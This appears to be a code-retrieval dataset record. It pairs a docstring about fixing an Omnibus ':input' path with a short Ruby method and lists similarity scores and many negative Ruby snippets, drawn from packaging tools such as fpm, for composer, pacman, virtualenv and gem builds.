[ "0.8392272", "0.7773725", "0.77446896", "0.75690955", "0.75690955", "0.7545642", "0.7530389", "0.73476315", "0.73476315", "0.71125907", "0.7089924", "0.7089924", "0.70471066", "0.6959486", "0.6959486", "0.6944611", "0.6869181", "0.6869181", "0.68289244", "0.68061453", "0.67578405", "0.67424643", "0.67282367", "0.6713425", "0.6648312", "0.6518997", "0.6500762", "0.64955574", "0.64795864", "0.6458365", "0.6410447", "0.63809496", "0.6369085", "0.626697", "0.62607557", "0.62531376", "0.6212492", "0.620361", "0.6202788", "0.61525184", "0.6068522", "0.6068522", "0.6059955", "0.6049623", "0.5956703", "0.5946073", "0.59073573", "0.59016985", "0.58928025", "0.58698547", "0.5850373", "0.5836402", "0.58307004", "0.5825163", "0.58076435", "0.58076435", "0.5802734", "0.57982844", "0.57940847", "0.5774847", "0.57570434", "0.57543135", "0.57493234", "0.57483083", "0.57456255", "0.57355857", "0.5713559", "0.5680797", "0.56723636", "0.5663632", "0.56513643", "0.56386113", "0.56335783", "0.56203425", "0.5617823", "0.5609155", "0.56077737", "0.5607355", "0.5575927", "0.5569864", "0.5549051", "0.55305034", "0.5529163", "0.5528782", "0.5526998", "0.5515739", "0.5510484", "0.5470554", "0.54593885", "0.54475707", "0.543557", "0.54309005", "0.5413615", "0.5407633", "0.5403612", "0.53935176", "0.5392448", "0.53901577", "0.53871405", "0.53869367" ]
0.7760405
2
Hack to fix up the :input path allowing us to use Omnibus packaging for a new purpose. eg. Installing both rust and cargo to the same prefix and packaging them up in a single package.
def input(config) config.delete(:input) super config end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def input(vnd_pkg_path)\n\n # general params\n in_bundle = vnd_pkg_path.gsub(/^(.+\\/+)*vendor\\/+|\\/(?=\\/)|\\/+$/, \"\")\n @name = in_bundle.gsub(/[\\W]+/, \"-\")\n json = {}\n if @once\n @once = true\n raise FPM::InvalidPackageConfiguration, \"You can't input multiple bundle names. Only one package can be built at a time currently. Use a shell loop please.\"\n elsif in_bundle =~ /^composer\\/\\w+\\.\\w+/\n raise FPM::InvalidPackageConfiguration, \"composer/*.* files specified as input. Supply only one bundle id.\"\n end\n\n # copying mode\n if File.exist?(\"vendor/\" + in_bundle)\n json = parse_lock(\"composer.lock\", in_bundle)[in_bundle]\n # localize contents below vendor/*/*/ input directory\n ::Dir.chdir(\"./vendor/#{in_bundle}/#{json['target-dir']}/\") do\n FileUtils.cp_r(glob(\"./*\"), build_path)\n end\n else\n # download one package (and dependencies, which are thrown away afterwards)\n ::Dir.chdir(staging_path) do\n ver = attributes[:composer_ver]\n safesystem(\n composer, \"require\", \"--prefer-dist\", \"--update-no-dev\", \"--ignore-platform-reqs\",\n \"--no-ansi\", \"--no-interaction\", in_bundle, *(ver ? [ver] : [])\n )\n # localize Vnd/Pkg folder\n json = parse_lock(\"composer.lock\", in_bundle)[in_bundle]\n FileUtils.mv(glob(\"./vendor/#{in_bundle}/#{json['target-dir']}/*\"), build_path)\n FileUtils.rm_r(glob(\"#{staging_path}/*\"))\n end\n end\n\n #-- staging\n # At this point the build_path contains just the actual class files, etc.\n # Conversion to sys/phar/sysphar is handled in convert() along with the\n # dependency translation.\n composer_json_import(json)\n @target_dir = json.include?(\"target-dir\") ? json[\"target-dir\"] : in_bundle\n attributes[:phar_format] = \"zip+gz\" unless attributes[:phar_format_given?]\n end", "def copy_input\n error(\"No app passed to STDIN\") if STDIN.tty? \n \n FileUtils.mkdir_p(app_dir)\n FileUtils.mkdir_p(build_root)\n FileUtils.mkdir_p(cache_root)\n File.open(tmptar, 'w+') { |f| f.write(STDIN.read) }\n run!(\"tar -xf #{tmptar} -C #{build_root}\")\n FileUtils.chown_R('app', 'app', app_dir)\n FileUtils.chown_R('app', 'app', build_root)\n FileUtils.chown_R('app', 'app', cache_root)\n FileUtils.chown_R('app', 'app', buildpack_root)\n end", "def add_input_path_to_script_phase(script_phase, name, platform)\n input_path = \"$(SRCROOT)/#{make_carthage_build_path(name, platform)}\"\n script_phase.input_paths << input_path\nend", "def rootdir() File.join(File.dirname(File.expand_path(__FILE__)), 'pipin') end", "def outputFN( input )\n # First: if we are in a temp folder put it where the script is... \n # otherwise we drop it in the temp folder. This only happens with OCRA.\n tmp = /\\W(temp|tmp)\\W/i\n inreg = /\\Win(put)?$/i\n\n if File.dirname( input ) =~ inreg\n File.expand_path( File.join( File.dirname( input ), \"..\", \"out\" , File.basename( input, \".py\" ) ) )\n elsif tmp =~ File.dirname( __FILE__ )\n if tmp =~ File.dirname( input )\n \"\" # they can choose a directory manually\n else\n File.join File.dirname( input ), File.basename( input, \".py\" )\n end\n else\n File.join File.dirname( __FILE__ ), \"out\", File.basename( input, \".py\" ) \n end\nend", "def xfixip(path)\n path.gsub!(/-I\\/usr\\//, \"-I#{ShoesDeps}/usr/\")\n return path\nend", "def input_path\n path = ENV['input_path']\n check_path!(path)\n path\n end", "def input(pacman_pkg_path)\n control = {}\n # Unpack the control tarball\n safesystem(tar_cmd, \"-C\", staging_path, \"-xf\", pacman_pkg_path)\n pkginfo = staging_path(\".PKGINFO\")\n mtree = staging_path(\".MTREE\")\n install = staging_path(\".INSTALL\")\n\n control_contents = File.read(pkginfo)\n FileUtils.rm(pkginfo)\n FileUtils.rm(mtree)\n\n\n control_lines = control_contents.split(\"\\n\")\n control_lines.each do |line|\n key, val = line.split(/ += +/, 2)\n if control.has_key? key\n control[key].push(val)\n else\n control[key] = [val]\n end\n end\n\n self.name = control[\"pkgname\"][0]\n\n # Parse 'epoch:version-iteration' in the version string\n version_re = /^(?:([0-9]+):)?(.+?)(?:-(.*))?$/\n m = version_re.match(control[\"pkgver\"][0])\n if !m\n raise \"Unsupported version string '#{control[\"pkgver\"][0]}'\"\n end\n self.epoch, self.version, self.iteration = m.captures\n\n self.maintainer = control[\"packager\"][0]\n\n # Arch has no notion of vendor, so...\n #self.vendor =\n\n self.url = control[\"url\"][0]\n # Groups could include more than one.\n # Speaking of just taking the first entry of the field:\n # A crude thing to do, but I suppose it's better than nothing.\n # -- Daniel Haskin, 3/24/2015\n self.category = control[\"group\"] && control[\"group\"][0] || self.category\n\n # Licenses could include more than one.\n # Speaking of just taking the first entry of the field:\n # A crude thing to do, but I suppose it's better than nothing.\n # -- Daniel Haskin, 3/24/2015\n self.license = control[\"license\"][0] || self.license\n\n self.architecture = control[\"arch\"][0]\n\n self.dependencies = control[\"depend\"] || self.dependencies\n\n self.provides = control[\"provides\"] || self.provides\n\n self.conflicts = control[\"conflict\"] || self.conflicts\n\n self.replaces = control[\"replaces\"] || self.replaces\n\n self.description = control[\"pkgdesc\"][0]\n\n if control.include? \"backup\"\n self.config_files = control[\"backup\"].map{|file| \"/\" + file}\n else\n self.config_files = []\n end\n\n self.dependencies = control[\"depend\"] || self.dependencies\n \n if attributes[:no_auto_depends?]\n self.dependencies = []\n end\n\n self.attributes[:pacman_optional_depends] = control[\"optdepend\"] || []\n # There are other available attributes, but I didn't include them because:\n # - makedepend: deps needed to make the arch package. But it's already\n # made. It just needs to be converted at this point\n # - checkdepend: See above\n # - makepkgopt: See above\n # - size: can be dynamically generated\n # - builddate: Should be changed to time of package conversion in the new\n # package, so this value should be thrown away.\n\n if File.exist?(install)\n functions = parse_install_script(install)\n if functions.include?(\"pre_install\")\n self.scripts[:before_install] = functions[\"pre_install\"].join(\"\\n\")\n end\n if functions.include?(\"post_install\")\n self.scripts[:after_install] = functions[\"post_install\"].join(\"\\n\")\n end\n if functions.include?(\"pre_upgrade\")\n self.scripts[:before_upgrade] = functions[\"pre_upgrade\"].join(\"\\n\")\n end\n if functions.include?(\"post_upgrade\")\n self.scripts[:after_upgrade] = functions[\"post_upgrade\"].join(\"\\n\")\n end\n if functions.include?(\"pre_remove\")\n self.scripts[:before_remove] = functions[\"pre_remove\"].join(\"\\n\")\n end\n if functions.include?(\"post_remove\")\n self.scripts[:after_remove] = functions[\"post_remove\"].join(\"\\n\")\n end\n FileUtils.rm(install)\n end\n\n # Note: didn't use `self.directories`.\n # Pacman doesn't really record that information, to my knowledge.\n\n end", "def execute(input: $stdin, output: $stdout)\n prompt = TTY::Prompt.new\n\n choices = [\n {\n key: 'y',\n name: 'overwrite this file',\n value: :yes\n }, {\n key: 'n',\n name: 'do not overwrite this file',\n value: :no\n }, {\n key: 'q',\n name: 'quit; do not overwrite this file ',\n value: :quit\n }\n ]\n\n result = prompt.expand('Overwrite Gemfile?', choices)\n\n puts result\n\n result = prompt.expand('Overwrite Gemfile (with hint)?', choices, auto_hint: true)\n\n puts result\n\n result = prompt.expand('Overwrite Gemfile (via DSL)?') do |q|\n q.choice key: 'y', name: 'Overwrite' do :ok end\n q.choice key: 'n', name: 'Skip', value: :no\n q.choice key: 'a', name: 'Overwrite all', value: :all\n q.choice key: 'd', name: 'Show diff', value: :diff\n q.choice key: 'q', name: 'Quit', value: :quit\n end\n\n puts result\n\n :gui\n end", "def input(package)\n path_to_package = download_if_necessary(package, version)\n\n if File.directory?(path_to_package)\n setup_py = File.join(path_to_package, \"setup.py\")\n else\n setup_py = path_to_package\n end\n\n if !File.exist?(setup_py)\n logger.error(\"Could not find 'setup.py'\", :path => setup_py)\n raise \"Unable to find python package; tried #{setup_py}\"\n end\n\n load_package_info(setup_py)\n install_to_staging(setup_py)\n end", "def package_dir\r\n \"${0%/#{target_name}}\"\r\n end", "def pkg_cmd; \"#{pkg_binary}\" end", "def execute(input)\n dsl = read_dsl\n output_dir = dsl.issen.output_dir\n create_root_dir(output_dir)\n create_files_and_dirs(input, output_dir)\n end", "def tailor_package_to_platform\n @package.app('Dropbox')\n @package.volumes_dir('Dropbox Installer')\n @package.source(URI.encode(\"file://#{download_dest}\"))\n end", "def prepare_source_dir(orig_pkginfo, options = Hash.new)\n pkginfo = orig_pkginfo.dup\n\n options, unknown_options = Kernel.filter_options options,\n :existing_source_dir => nil,\n :packaging_dir => File.join(@build_dir, debian_name(pkginfo))\n\n pkg_dir = options[:packaging_dir]\n if not File.directory?(pkg_dir)\n FileUtils.mkdir_p pkg_dir\n end\n\n # Only when there is no importer or when the VCS supports distribution (here git)\n # then we allow to use the local version\n support_local_import = false\n if !pkginfo.importer_type || pkginfo.importer_type == :git\n Packager.info \"Import from local repository is supported for #{pkginfo.name}\"\n support_local_import = true\n else\n Packager.info \"Import from local repository is not supported for #{pkginfo.name}\"\n end\n\n Packager.debug \"Preparing source dir #{pkginfo.name}\"\n # If we have given an existing source directory we should use it, \n # but only if it is a git repository\n pkg_target_importdir = File.join(pkg_dir, plain_dir_name(pkginfo))\n if support_local_import && existing_source_dir = options[:existing_source_dir]\n import_from_local_src_dir(pkginfo, existing_source_dir, pkg_target_importdir)\n # update to the new srcdir\n pkginfo.srcdir = pkg_target_importdir\n else\n pkginfo.import(pkg_target_importdir)\n end\n # remove these even on fresh imports. some repositories\n # have prepopulated build directories and similar\n remove_excluded_dirs(pkg_target_importdir)\n remove_excluded_files(pkg_target_importdir)\n\n pkginfo\n end", "def input(package)\n installdir = attributes[:virtualenv_install_location]\n m = /^([^=]+)==([^=]+)$/.match(package)\n package_version = nil\n\n is_requirements_file = (File.basename(package) == \"requirements.txt\")\n\n if is_requirements_file\n if !File.file?(package)\n raise FPM::InvalidPackageConfiguration, \"Path looks like a requirements.txt, but it doesn't exist: #{package}\"\n end\n\n package = File.join(::Dir.pwd, package) if File.dirname(package) == \".\"\n package_name = File.basename(File.dirname(package))\n logger.info(\"No name given. Using the directory's name\", :name => package_name)\n package_version = nil\n elsif m\n package_name = m[1]\n package_version = m[2]\n self.version ||= package_version\n else\n package_name = package\n package_version = nil\n end\n\n virtualenv_name = package_name\n\n self.name ||= package_name\n\n if self.attributes[:virtualenv_fix_name?]\n self.name = [self.attributes[:virtualenv_package_name_prefix],\n self.name].join(\"-\")\n end\n\n # prefix wins over previous virtual_install_location behaviour\n virtualenv_folder =\n if self.attributes[:prefix]\n self.attributes[:prefix]\n else\n File.join(installdir,\n virtualenv_name)\n end\n\n virtualenv_build_folder = build_path(virtualenv_folder)\n\n ::FileUtils.mkdir_p(virtualenv_build_folder)\n\n if self.attributes[:virtualenv_system_site_packages?]\n logger.info(\"Creating virtualenv with --system-site-packages\")\n safesystem(\"virtualenv\", \"--system-site-packages\", virtualenv_build_folder)\n else\n safesystem(\"virtualenv\", virtualenv_build_folder)\n end\n\n pip_exe = File.join(virtualenv_build_folder, \"bin\", \"pip\")\n python_exe = File.join(virtualenv_build_folder, \"bin\", \"python\")\n\n # Why is this hack here? It looks important, so I'll keep it in.\n safesystem(python_exe, pip_exe, \"install\", \"-U\", \"-i\",\n attributes[:virtualenv_pypi],\n \"pip\")\n\n extra_index_url_args = []\n if attributes[:virtualenv_pypi_extra_index_urls]\n attributes[:virtualenv_pypi_extra_index_urls].each do |extra_url|\n extra_index_url_args << \"--extra-index-url\" << extra_url\n end\n end\n\n find_links_url_args = []\n if attributes[:virtualenv_find_links_urls]\n attributes[:virtualenv_find_links_urls].each do |links_url|\n find_links_url_args << \"--find-links\" << links_url\n end\n end\n\n target_args = []\n if is_requirements_file\n target_args << \"-r\" << package\n else\n target_args << package\n end\n\n pip_args = [python_exe, pip_exe, \"install\", \"-i\", attributes[:virtualenv_pypi]] << extra_index_url_args << find_links_url_args << target_args\n safesystem(*pip_args.flatten)\n\n if attributes[:virtualenv_setup_install?]\n logger.info(\"Running PACKAGE setup.py\")\n setup_args = [python_exe, \"setup.py\", \"install\"]\n safesystem(*setup_args.flatten)\n end\n\n if ! is_requirements_file && package_version.nil?\n frozen = safesystemout(python_exe, pip_exe, \"freeze\")\n frozen_version = frozen[/#{package}==[^=]+$/]\n package_version = frozen_version && frozen_version.split(\"==\")[1].chomp!\n self.version ||= package_version\n end\n\n ::Dir[build_path + \"/**/*\"].each do |f|\n if ! File.readable? f\n File.lchmod(File.stat(f).mode | 444)\n end\n end\n\n ::Dir.chdir(virtualenv_build_folder) do\n safesystem(\"virtualenv-tools\", \"--update-path\", virtualenv_folder)\n end\n\n if !attributes[:virtualenv_other_files_dir].nil?\n # Copy all files from other dir to build_path\n Find.find(attributes[:virtualenv_other_files_dir]) do |path|\n src = path.gsub(/^#{attributes[:virtualenv_other_files_dir]}/, '')\n dst = File.join(build_path, src)\n copy_entry(path, dst, preserve=true, remove_destination=true)\n copy_metadata(path, dst)\n end\n end\n\n remove_python_compiled_files virtualenv_build_folder\n\n # use dir to set stuff up properly, mainly so I don't have to reimplement\n # the chdir/prefix stuff special for tar.\n dir = convert(FPM::Package::Dir)\n # don't double prefix the files\n dir.attributes[:prefix] = nil\n if attributes[:chdir]\n dir.attributes[:chdir] = File.join(build_path, attributes[:chdir])\n else\n dir.attributes[:chdir] = build_path\n end\n\n cleanup_staging\n # Tell 'dir' to input \".\" and chdir/prefix will help it figure out the\n # rest.\n dir.input(\".\")\n @staging_path = dir.staging_path\n dir.cleanup_build\n\n end", "def update!(**args)\n @input_path = args[:input_path] if args.key?(:input_path)\n end", "def input_base_path(input_file,ext=nil)\n input_path=Pathname.new(input_file)\n throw \"Error: Input directory #{input_path.dirname} does not exist\" unless input_path.dirname.exist?\n dir=input_path.dirname.realpath.to_s\n if ( ext==nil)\n ext=input_path.extname \n end\n base_name=input_path.basename.to_s.gsub(/#{ext}$/,\"\")\n \"#{dir}/#{base_name}\"\n end", "def set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n if input_output_paths_use_filelist?(phase)\n [input_paths_by_config, output_paths_by_config].each do |hash|\n hash.each do |file_list, files|\n generator = Generator::FileList.new(files)\n Xcode::PodsProjectGenerator::TargetInstallerHelper.update_changed_file(generator, file_list.file_list_path)\n end\n end\n\n phase.input_paths = nil\n phase.output_paths = nil\n phase.input_file_list_paths = input_paths_by_config.each_key.map(&:file_list_relative_path).uniq\n phase.output_file_list_paths = output_paths_by_config.each_key.map(&:file_list_relative_path).uniq\n else\n input_paths = input_paths_by_config.values.flatten(1).uniq\n output_paths = output_paths_by_config.values.flatten(1).uniq\n TargetIntegrator.validate_input_output_path_limit(input_paths, output_paths)\n\n phase.input_paths = input_paths\n phase.output_paths = output_paths\n phase.input_file_list_paths = nil\n phase.output_file_list_paths = nil\n end\n end", "def install_packages(app)\n\n `installer -pkg \"#{app}\" -target /`\n\nend", "def to_output_path(output_path) #:nodoc:\n unless @output_path\n if output_path\n @output_path = output_path\n else \n @output_path = parse_nil_path(@input)\n end\n @args << \"--output\"\n @args << @output_path\n end\n end", "def input_path\n input.is_a?(String) ? input : nil\n end", "def pkg_binary; \"pacaur\" end", "def xfixip(path)\n path.gsub!(/-I\\/usr\\//, \"-I#{TGT_SYS_DIR}usr/\")\n return path\nend", "def install_root\n self.class.install_root.join(name)\n end", "def used_input_path\n options[:input_path] || @used_input_path\n end", "def collect_document(input, output)\r\n inputs=input.map{|xx| xx.esc.to_osPath }.join(\" \") # qoute cond combine the inputs\r\n\r\n #now combine the input files\r\n @log.info(\"combining the input files\")\r\n cmd=\"pandoc -s -S -o #{output} --ascii #{inputs}\" # note that inputs is already quoted\r\n system(cmd)\r\n if $?.success? then\r\n PandocBeautifier.new().beautify(output)\r\n end\r\n end", "def package_plugin(name)\n `cd #{@repository_path}; rake feather:package path=#{name} target=#{@build_path}`\n end", "def fixLoadPath(oldpath,libpath,target)\n debug \"#{$install_name_tool} -change #{oldpath} #{$executableId}#{libpath} #{target}\"\n `#{$install_name_tool} -change #{oldpath} #{$executableId}#{libpath} #{target}`\nend", "def path_check!\n # When installed outside of omnibus, trust the user to configure their PATH\n return true unless omnibus_install?\n\n paths = env[path_key].split(File::PATH_SEPARATOR)\n paths.map! { |p| drive_upcase(Chef::Util::PathHelper.cleanpath(p)) }\n embed_index = paths.index(drive_upcase(Chef::Util::PathHelper.cleanpath(omnibus_embedded_bin_dir)))\n bin_index = paths.index(drive_upcase(Chef::Util::PathHelper.cleanpath(omnibus_bin_dir)))\n if embed_index\n if bin_index\n if embed_index < bin_index\n err(\"WARN: #{omnibus_embedded_bin_dir} is before #{omnibus_bin_dir} in your #{path_key}, please reverse that order.\")\n err(\"WARN: consider using `#{ChefCLI::Dist::EXEC} shell-init <shell>` command to setup your environment correctly.\")\n end\n else\n err(\"WARN: only #{omnibus_embedded_bin_dir} is present in your path, you must add #{omnibus_bin_dir} before that directory.\")\n err(\"WARN: consider using `#{ChefCLI::Dist::EXEC} shell-init <shell>` command to setup your environment correctly.\")\n end\n end\n end", "def omnibus_expand_path(*paths)\n dir = File.expand_path(File.join(paths))\n dir = \"\" unless dir && File.directory?(dir)\n dir\nend", "def compile_package_task(input, output=input)\n js_tasks = SproutCore::Compiler::Preprocessors::JavaScriptTask.with_input \"packages/#{input}/lib/**/*.js\", \".\"\n SproutCore::Compiler::CombineTask.with_tasks js_tasks, \"#{SproutCore::Compiler.intermediate}/#{output}\"\nend", "def compile_package_task(input, output=input)\n js_tasks = SproutCore::Compiler::Preprocessors::JavaScriptTask.with_input \"packages/#{input}/lib/**/*.js\", \".\"\n SproutCore::Compiler::CombineTask.with_tasks js_tasks, \"#{SproutCore::Compiler.intermediate}/#{output}\"\nend", "def initialize(input = [\"{lib,app}/**/*.rb\", \"ext/**/*.c\"], output = \"doc/json\", options = {})\n @input = input\n @output = output\n @options = options\n end", "def wrap bin_file, pythonpath\n bin_file = Pathname.new bin_file\n libexec_bin = Pathname.new libexec/'bin'\n libexec_bin.mkpath\n mv bin_file, libexec_bin\n bin_file.write <<-EOS.undent\n #!/bin/sh\n PYTHONPATH=\"#{pythonpath}:$PYTHONPATH\" \"#{libexec_bin}/#{bin_file.basename}\" \"$@\"\n EOS\n end", "def wrap bin_file, pythonpath\n bin_file = Pathname.new bin_file\n libexec_bin = Pathname.new libexec/'bin'\n libexec_bin.mkpath\n mv bin_file, libexec_bin\n bin_file.write <<-EOS.undent\n #!/bin/sh\n PYTHONPATH=\"#{pythonpath}:$PYTHONPATH\" \"#{libexec_bin}/#{bin_file.basename}\" \"$@\"\n EOS\n end", "def wrap bin_file, pythonpath\n bin_file = Pathname.new bin_file\n libexec_bin = Pathname.new libexec/'bin'\n libexec_bin.mkpath\n mv bin_file, libexec_bin\n bin_file.write <<-EOS.undent\n #!/bin/sh\n PYTHONPATH=\"#{pythonpath}:$PYTHONPATH\" \"#{libexec_bin}/#{bin_file.basename}\" \"$@\"\n EOS\n end", "def install_to_staging(setup_py)\n project_dir = File.dirname(setup_py)\n\n prefix = \"/\"\n prefix = attributes[:prefix] unless attributes[:prefix].nil?\n\n # Some setup.py's assume $PWD == current directory of setup.py, so let's\n # chdir first.\n ::Dir.chdir(project_dir) do\n flags = [ \"--root\", staging_path ]\n if !attributes[:python_install_lib].nil?\n flags += [ \"--install-lib\", File.join(prefix, attributes[:python_install_lib]) ]\n elsif !attributes[:prefix].nil?\n # setup.py install --prefix PREFIX still installs libs to\n # PREFIX/lib64/python2.7/site-packages/\n # but we really want something saner.\n #\n # since prefix is given, but not python_install_lib, assume PREFIX/lib\n flags += [ \"--install-lib\", File.join(prefix, \"lib\") ]\n end\n\n if !attributes[:python_install_data].nil?\n flags += [ \"--install-data\", File.join(prefix, attributes[:python_install_data]) ]\n elsif !attributes[:prefix].nil?\n # prefix given, but not python_install_data, assume PREFIX/data\n flags += [ \"--install-data\", File.join(prefix, \"data\") ]\n end\n\n if !attributes[:python_install_bin].nil?\n flags += [ \"--install-scripts\", File.join(prefix, attributes[:python_install_bin]) ]\n elsif !attributes[:prefix].nil?\n # prefix given, but not python_install_bin, assume PREFIX/bin\n flags += [ \"--install-scripts\", File.join(prefix, \"bin\") ]\n end\n\n if !attributes[:python_scripts_executable].nil?\n # Overwrite installed python scripts shebang binary with provided executable\n flags += [ \"build_scripts\", \"--executable\", attributes[:python_scripts_executable] ]\n end\n\n if !attributes[:python_setup_py_arguments].nil? and !attributes[:python_setup_py_arguments].empty?\n # Add optional setup.py arguments\n attributes[:python_setup_py_arguments].each do |a|\n flags += [ a ]\n end\n end\n\n safesystem(attributes[:python_bin], \"setup.py\", \"install\", *flags)\n end\n end", "def install_package(target_package_path); raise NotImplementedError; end", "def install\n prefix.install Dir[\"*\"] \n end", "def component_install_path(cmp)\n File.join WORK_PATH, 'install', cmp\nend", "def install_directory\n \"C:\\\\opscode\\\\chef\"\n end", "def target_dir\n without_parent_dir ? \".\" : package_name\n end", "def pathSourcePackageJson\n\t\"./package-template.json\"\nend", "def install(pkg)\n package pkg do\n action :install\n end\nend", "def package_common(package_type, spec, &block)\n package_name = Autoproj.package_name_from_options(spec)\n\n if Autobuild::Package[package_name]\n current_file = Autoproj.current_file[1]\n old_file = Autoproj.workspace.manifest.definition_file(package_name)\n Autoproj.warn \"#{package_name} from #{current_file} is overridden by the definition in #{old_file}\"\n\n return Autobuild::Package[package_name]\n end\n\n pkg = Autoproj.define(package_type, spec, &block)\n pkg.srcdir = pkg.name\n pkg\nend", "def tailor_package_to_platform\n @package.source(URI.encode(download_dest))\n @package.installer_type(:nsis)\n end", "def gemfile spec, source, destination = nil\n destination ||= File.expand_path \".\"\n\n require \"rubygems/builder\"\n\n Dir.chdir source do\n FileUtils.mv Gem::Builder.new(spec).build, destination\n end\n\n destination\n end", "def packaging_task(dir_path, pkg_name)\n chdir dir_path do\n sh \"#{ZIP} #{ZIP_ARGS} -r -o ../#{pkg_name} * **/*\"\n end\nend", "def generate_pkg_contents\n shellout!(\"pkgsend generate #{source_dir} | pkgfmt > #{pkg_manifest_file}.1\")\n shellout!(\"pkgmogrify -DARCH=`uname -p` #{pkg_manifest_file}.1 #{pkg_metadata_file} #{transform_file} | pkgfmt > #{pkg_manifest_file}.2\")\n end", "def install_root\n Pathname.new(ENV[\"PREFIX\"] || \"/var/www/ood/apps/sys\")\n end", "def executable_path=(_arg0); end", "def prefer_indep_over_os_packages?; @prefer_indep_over_os_packages end", "def input_files_pattern\n @args.options[:input_files_pattern]\n end", "def build_product_mm(name, name_final)\n dc_name = name.downcase\n dc_name_final = name_final.downcase\n\n case os_short()\n when 'win'\n fix_ism(\"is_#{dc_name}_mm/#{dc_name}_mm.ism\")\n sh \"\\\"#{INSTALL_SHIELD}\\\" -p is_#{dc_name}_mm/#{dc_name}_mm.ism\"\n else\n # For other platforms, just prepare files for a later tar'ing.\n #\n package_prefix = get_package_prefix(dc_name_final)\n\n out_dir = get_tmp(\"#{package_prefix}\", false)\n print \"merging files from #{name} into #{out_dir}\\n\"\n c = Dir.glob(\"./components/#{name}/*\")\n if c.length > 0\n c.each do |x|\n print(\"merging file #{x}\\n\")\n FileUtils.cp_r(x, out_dir)\n end\n else\n print \"ERROR: expected to merge 1 or more files, but only got: #{c}\\n\"\n exit(1)\n end\n end\nend", "def gem_install_args\n gem, version = config[:version].split(\"@\")\n if gem =~ /^\\d+\\.\\d+\\.\\d+/\n version = gem\n gem = \"busser\"\n end\n\n root = config[:root_path]\n gem_bin = remote_path_join(root, \"bin\")\n\n # We don't want the gems to be installed in the home directory,\n # this will force the bindir and the gem install location both\n # to be under /tmp/verifier\n args = gem\n args += \" --version #{version}\" if version\n args += \" --no-rdoc --no-ri --no-format-executable -n #{gem_bin}\"\n args += \" --no-user-install\"\n args\n end", "def resource_output_paths(resource_input_paths)\n resource_input_paths.map do |resource_input_path|\n base_path = '${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}'\n extname = File.extname(resource_input_path)\n basename = extname == '.xcassets' ? 'Assets' : File.basename(resource_input_path)\n output_extension = Target.output_extension_for_resource(extname)\n File.join(base_path, File.basename(basename, extname) + output_extension)\n end.uniq\n end", "def packaging_task(dir_path, pkg_name)\n chdir dir_path do\n sh \"#{ZIP} -9 -r -o ../#{pkg_name} * **/*\"\n end\nend", "def command_to_merge_files(tool, input)\n p \"#{ tool } #{ input }\"\nend", "def make(args)\n # Maybe we should write an \"uncrustify\" fastlane action?...\n Dir.chdir '..' do\n sh 'make ' + args\n end\nend", "def make(args)\n # Maybe we should write an \"uncrustify\" fastlane action?...\n Dir.chdir '..' do\n sh 'make ' + args\n end\nend", "def pkg_path\n \"pkg/#{spec.full_name}\"\n end", "def process( input )\n if not File.exists?( input )\n puts \"ERROR. #{input} not found.\"\n return\n end\n\n inputPath = File.absolute_path( input )\n\n if File.file?( input )\n flacFile = FlacFile.new inputPath\n flacFile.normalize\n elsif File.directory?( inputPath )\n if not File.symlink?( inputPath )\n processDir inputPath\n end\n end\nend", "def input_files\n @input_files ||= to_file(@args.input)\n end", "def install\n prefix.install Dir[\"*\"]\n\n # Install a shell script to launch mitofy.\n bin.mkdir\n open(bin/\"mitofy\", \"w\") do |file|\n file.write <<~EOS\n #!/bin/sh\n exec perl -I#{prefix}/annotate #{prefix}/annotate/mitofy.pl \"$@\"\n EOS\n end\n end", "def package(output_dir = Pathname(Dir.pwd).expand_path)\n # Check the source\n check_source!\n # Turn the source into component parts to build a gem out of\n gem_parts = read_source_parts\n # Write these parts to a directory\n gem_dir = write_gem_dir(gem_parts)\n # Build a .gem file from this directory, and leave it in the `output_dir`\n build_package(gem_dir, output_dir)\n end", "def bowtie_build(input_file, prefix)\n\t\tstdin, stdout, stderr, t = Open3.popen3(\"bowtie2-build -f #{input_file} #{prefix}\")\n\t\tsystem_exitcode(t, stderr, 'Building bowtie2 index')\n\tend", "def iphone_build_root()\n \"#{build_root}/iphone\"\n end", "def fixup_args ()\n\n print \"Using Ruby version: #{RUBY_VERSION}-p#{RUBY_PATCHLEVEL}\\n\"\n\n if $my_base_url[-4..-1] != \"/slm\" && $my_base_url[-5..-1] != \"/slm/\"\n print \"Fixup: Modifing URL from <#{$my_base_url}>\"\n if $my_base_url[-1..-1] == \"/\"\n $my_base_url.concat(\"slm\")\n else\n $my_base_url.concat(\"/slm\")\n end\n print \" to <#{$my_base_url}>\\n\"\n end\nend", "def install_custom!\n package package_name do\n source new_resource.source.to_s\n checksum new_resource.checksum unless new_resource.checksum.nil?\n end\n end", "def distutils\n prefix+\"lib-python/2.7/distutils\"\n end", "def package_scripts_path(arg = NULL)\n if null?(arg)\n @package_scripts_path || \"#{Config.project_root}/package-scripts/#{name}\"\n else\n @package_scripts_path = File.expand_path(arg)\n end\n end", "def package_scripts_path(arg = NULL)\n if null?(arg)\n @package_scripts_path || \"#{Config.project_root}/package-scripts/#{name}\"\n else\n @package_scripts_path = File.expand_path(arg)\n end\n end", "def prefix\n (platform_family?('windows') ? 'C:/Chef/' : '/etc/chef/')\nend", "def minify (input, output)\n\tif Rake.application.windows?\n\t\tKernel.system(\"#{AJAXMIN} -js #{input} -out #{output} -clobber -comments:none\")\n\t\tprepend_header(output)\n\telsif Rake.application.unix? && defined? sh\n\t\tsh \"#{JSMIN} < #{input} > #{output}\"\n\t\tprepend_header(output)\n\tend\nend", "def source\n case type\n when :gem then File.basename File.expand_path '..', @path\n when :home then 'home'\n when :site then 'site'\n when :system then 'ruby'\n else @path\n end\n end", "def install\n prefix.install Dir[\"*\"]\n end", "def install\n prefix.install Dir[\"*\"]\n end", "def output(output_path)\n output_check(output_path)\n\n # Copy all files from staging to BUILD dir\n Find.find(staging_path) do |path|\n src = path.gsub(/^#{staging_path}/, '')\n dst = build_path(src)\n begin\n copy_entry(path, dst, preserve=true, remove_destination=true)\n rescue\n copy_entry(path, dst, preserve=false, remove_destination=true)\n end\n copy_metadata(path, dst)\n end\n\n # This value is used later in the template for PKGINFO\n size = safesystemout(\"du\", \"-sk\", build_path).split(/\\s+/)[0].to_i * 1024\n builddate = Time.new.to_i\n\n pkginfo = template(\"pacman.erb\").result(binding)\n pkginfo_file = build_path(\".PKGINFO\")\n File.write(pkginfo_file, pkginfo)\n\n if script?(:before_install) or script?(:after_install) or \\\n script?(:before_upgrade) or script?(:after_upgrade) or \\\n script?(:before_remove) or 